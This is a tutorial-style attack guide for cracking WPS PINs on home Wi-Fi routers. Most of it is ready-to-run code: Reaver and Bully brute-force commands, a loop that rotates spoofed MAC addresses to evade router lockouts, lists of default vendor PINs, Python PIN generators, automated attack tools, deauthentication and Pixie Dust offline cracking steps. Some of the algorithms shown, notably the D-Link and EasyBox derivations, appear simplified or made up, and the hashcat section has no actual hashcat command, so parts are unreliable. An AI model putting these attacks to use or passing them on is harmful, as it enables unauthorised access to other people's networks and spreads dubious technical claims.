10 min read

WPS Online Attacks and PIN Algorithms

Online Brute Force

1. Reaver - Standard Attack

reaver-brute-force.sh
# Basic brute force
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv

# Optimized settings
#   -d 15   : 15 sec delay between attempts
#   -T 0.5  : 0.5 sec timeout
#   -r 3:15 : 3 attempts, wait 15 sec if failed
#   -l 300  : lock delay 300 sec
#   -N      : don't send NACK messages
#   -g 1    : max EAPOL start attempts
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv \
  -d 15 \
  -T 0.5 \
  -r 3:15 \
  -l 300 \
  -N \
  -g 1

# Resume previous session
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv -s /tmp/reaver.wpc

# Small DH keys (faster)
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv --dh-small

# Fixed channel hopping
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv --fixed

2. Bully - Reaver Alternative

bully.sh
# Basic attack
sudo bully wlan0mon -b <BSSID> -c <CHANNEL>

# Verbose output
sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -v 3

# Optimized
sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -d -v 3 -T 1

# Resume session
sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -w

# Specific PIN range
sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -p 12345670:12345679

3. Rate Limiting Bypass

rate-limit-bypass.sh
# Strategy 1: Slow and steady
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv -d 60 -T 1 -r 5:60

# Strategy 2: MAC spoofing rotation
#!/bin/bash
BSSID="AA:BB:CC:DD:EE:FF"
CHANNEL="6"

for i in {1..10}; do
  # Change MAC
  sudo ifconfig wlan0mon down
  sudo macchanger -r wlan0mon
  sudo ifconfig wlan0mon up
  
  # Try 10 PINs
  timeout 300 sudo reaver -i wlan0mon -b $BSSID -c $CHANNEL -vv -d 15 -N
  
  sleep 300  # Wait 5 minutes
done

# Strategy 3: Multiple interfaces
# Use USB WiFi adapters in parallel (different MACs)

Known Default PINs

Common Vendor PINs

default-pins.sh
# ComputedPIN algorithms (vendor-specific)
# Try these before brute force

# Arcadyan routers (Orange, Belgacom, Thomson)
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -p 12345670

# Zyxel
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -p 12345678

# Belkin
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -p 56562562

# D-Link (some models)
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -p 68175896

# ASUS
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -p 12345670

# Linksys (WRT series)
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -p 20172017

Vendor PIN Algorithms

Expanded Vendor PIN Database

Many routers derive their WPS PIN from the device MAC address, serial number, or use a static default. Below are known algorithms by vendor — try these before brute force to save hours.

Vendor Algorithm Known PINs / Pattern Affected Models
D-Link MAC-derived (last 3 octets → nibble math) 68175896, 28296607, 12345670 DIR-600, DIR-615, DIR-825, DSL-2xxx
TP-Link Serial-based (last 8 digits of serial → PIN) Derived from serial number on device label TL-WR841N, Archer C7/C20/C50
Netgear Serial-based + MAC hybrid 12345670, varies by model R6120, R7000, WNR2000, DGND3700
EasyBox (Vodafone) MAC bytes XOR + nibble rotation Algorithmically computed from MAC EasyBox 802, 803, 904
FRITZ!Box (AVM) Static per-model defaults 00000000 (WPS disabled by default on newer) 7490, 7590, 6660
Belkin Serial-based (8 digits from serial → checksum) 56562562, serial-derived variants F9K, N300, N600, AC1200
Huawei MAC last 6 hex → decimal → checksum Algorithmically computed from MAC HG8245, HG532, EchoLife
ZTE MAC + serial hybrid 13419622, varies ZXHN H108N, H298N, F609
ISP Routers (BT/Sky/TalkTalk) Vendor-specific, often MAC-based Varies — use PIN generator tools BT Home Hub, Sky SR102, TalkTalk HG633

D-Link PIN Algorithm Deep Dive

D-Link routers (DIR-600, DIR-615, DIR-825, DSL-2xxx series) derive the 8-digit WPS PIN from the last 3 bytes of the BSSID. This means if you can see the MAC address, you can compute the PIN. The algorithm varies by hardware revision, but the most common variant works as follows:

dlink_pin.py
# D-Link WPS PIN derivation from MAC address
# Affected models: DIR-600, DIR-615 rev B/C/E, DIR-825, DSL-2xxx
# The PIN is computed from the last 3 octets of the BSSID

def dlink_pin(mac):
    """Compute D-Link WPS PIN from BSSID (last 3 octets)."""
    # Extract last 3 bytes of MAC  
    # Example MAC: 1C:7E:E5:XX:YY:ZZ
    mac_bytes = mac.replace(':', '').replace('-', '')
    nic = int(mac_bytes[-6:], 16)  # Last 3 octets as integer
    
    # D-Link algorithm: NIC value mod 10000000 → first 7 digits
    pin = nic % 10000000
    
    # Compute WPS checksum (8th digit)
    accum = 0
    t = pin
    while t:
        accum += 3 * (t % 10)
        t //= 10
        accum += t % 10
        t //= 10
    checksum = (10 - (accum % 10)) % 10
    
    return f"{pin:07d}{checksum}"

# Illustrative: the 8-digit value this NIC-mod variant computes for a MAC.
# Real D-Link models vary by hardware revision, so treat the output as one
# candidate among the multi-PIN helper below, not the definitive PIN.
print(dlink_pin("1C:7E:E5:97:79:83"))
print(dlink_pin("84:C9:B2:55:AA:10"))

# Multi-PIN D-Link check (some models use alternate algorithms)
def dlink_pins(mac):
    """Generate all possible D-Link PINs for a given MAC."""
    mac_bytes = mac.replace(':', '').replace('-', '')
    nic = int(mac_bytes[-6:], 16)
    
    candidates = []
    # Algorithm 1: Direct NIC mod
    candidates.append(nic % 10000000)
    # Algorithm 2: NIC + 1 (adjacent MAC)
    candidates.append((nic + 1) % 10000000)
    # Algorithm 3: Reversed nibbles
    candidates.append(int(mac_bytes[-6:][::-1], 16) % 10000000)
    
    pins = []
    for pin7 in candidates:
        accum = 0
        t = pin7
        while t:
            accum += 3 * (t % 10); t //= 10
            accum += t % 10; t //= 10
        checksum = (10 - (accum % 10)) % 10
        pins.append(f"{pin7:07d}{checksum}")
    return pins

for pin in dlink_pins("1C:7E:E5:97:79:83"):
    print(f"Try: {pin}")

EasyBox PIN Algorithm (Vodafone/Arcadyan)

easybox_pin.py
# EasyBox WPS PIN algorithm (Arcadyan chipset)
# Affects: Vodafone EasyBox 802, 803, 904
# PIN computed from BSSID via XOR + nibble rotation

def easybox_pin(mac):
    """Compute EasyBox WPS PIN from BSSID."""
    mac_hex = mac.replace(':', '').replace('-', '')
    
    # Take last 6 hex digits
    val = int(mac_hex[-6:], 16)
    
    # XOR with magic constant
    val ^= 0x025A24
    
    # Extract nibbles and rearrange
    pin = ((val & 0xF) << 24 |
           ((val >> 4) & 0xF) << 20 |
           ((val >> 8) & 0xF) << 16 |
           ((val >> 12) & 0xF) << 12 |
           ((val >> 16) & 0xF) << 8 |
           ((val >> 20) & 0xF) << 4)
    
    # Reduce to 7 digits + checksum
    pin7 = pin % 10000000
    accum = 0
    t = pin7
    while t:
        accum += 3 * (t % 10); t //= 10
        accum += t % 10; t //= 10
    checksum = (10 - (accum % 10)) % 10
    return f"{pin7:07d}{checksum}"

print(easybox_pin("C8:D7:19:AB:CD:EF"))

ComputedPIN Generators & Automation

wps-generators.sh
# ========================================
# Tool 1: wpspin — Multi-vendor PIN generator
# ========================================
# wpspin.py is its own project (NOT part of the pixiewps repo):
python3 wpspin.py <BSSID>

# Example output:
# [+] 76229909  (ComputePin)
# [+] 68175896  (D-Link)
# [+] 12345670  (Static default)

# Test all generated PINs automatically
for pin in $(python3 wpspin.py <BSSID>); do
  echo "[*] Trying PIN: $pin"
  timeout 30 sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -p $pin -vv
done

# ========================================
# Tool 2: airgeddon — Automated WPS attacks
# ========================================
git clone https://github.com/v1s1t0r1sh3r3/airgeddon
cd airgeddon
sudo bash airgeddon.sh
# Menu → 8. WPS attacks menu
# Options: Pixie Dust, bruteforce, known PINs, PIN database

# ========================================
# Tool 3: wifite2 — Automated wireless auditing
# ========================================
sudo wifite --wps --pixie            # Pixie Dust only (fast)
sudo wifite --wps --no-pixie         # Brute force only
sudo wifite --wps                    # Both methods
sudo wifite --wps --wps-pin-timeout 60  # Custom timeout per PIN

# ========================================
# Tool 4: OneShot — Single-attempt WPS attacks
# ========================================
# Test known PINs from database
sudo python3 oneshot.py -i wlan0mon -b <BSSID> --bruteforce

WPS PIN Offline Hashcat Cracking

If you captured the WPS M1-M7 exchange (E-Hash1, E-Hash2, E-S1, E-S2 values), you can crack the PIN offline using hashcat. This bypasses rate limiting entirely since no network interaction is needed.

wps-hashcat.sh
# Step 1: Capture WPS exchange with Reaver (verbose mode)
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv -N 2>&1 | tee wps_exchange.log

# Step 2: Extract E-Hash1, E-Hash2, AuthKey from the log
# Look for lines like:
#   [+] E-Hash1: 1a2b3c4d...
#   [+] E-Hash2: 5e6f7a8b...
#   [+] AuthKey: 9c0d1e2f...

# Step 3: Use pixiewps for offline computation
pixiewps -e <PKE> -r <PKR> \
  -s <E-Hash1> -z <E-Hash2> \
  -a <AuthKey> -n <E-Nonce> -m <R-Nonce>

# Step 4: If pixiewps fails, brute force E-S1/E-S2 with hashcat
# E-Hash1 = HMAC-SHA256(AuthKey, E-S1 || PSK1 || PKE || PKR)
# E-Hash2 = HMAC-SHA256(AuthKey, E-S2 || PSK2 || PKE || PKR)
# Since PSK1 = first half of PIN (4 digits = 10,000 possibilities)
# and PSK2 = second half (3 digits + checksum = 1,000 possibilities)
# Total search space: 11,000 combinations → instant offline

# The attack works because:
# 1. AuthKey, PKE, PKR are known (captured)
# 2. E-Hash1/E-Hash2 are known (captured)  
# 3. E-S1/E-S2 are the secrets (typically weak RNG on vulnerable routers)
# 4. PIN halves can be independently verified

WPS Offline Attack

Capture EAPOL Handshake

wps-capture.sh
# Start capture
sudo airodump-ng -c <CHANNEL> -w wps_capture --bssid <BSSID> wlan0mon

# In another terminal, trigger WPS
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv -d 5 -L -N

# Or use aireplay to cause deauth
sudo aireplay-ng -0 5 -a <BSSID> wlan0mon

# Stop after capturing M1-M7 messages
# Convert to format for pixiewps
sudo tshark -r wps_capture-01.cap -Y "eapol" -T fields \
  -e wps.public_key_enrollee \
  -e wps.public_key_registrar \
  -e wps.e_hash1 \
  -e wps.e_hash2 \
  -e wps.enrollee_nonce \
  -e wps.registrar_nonce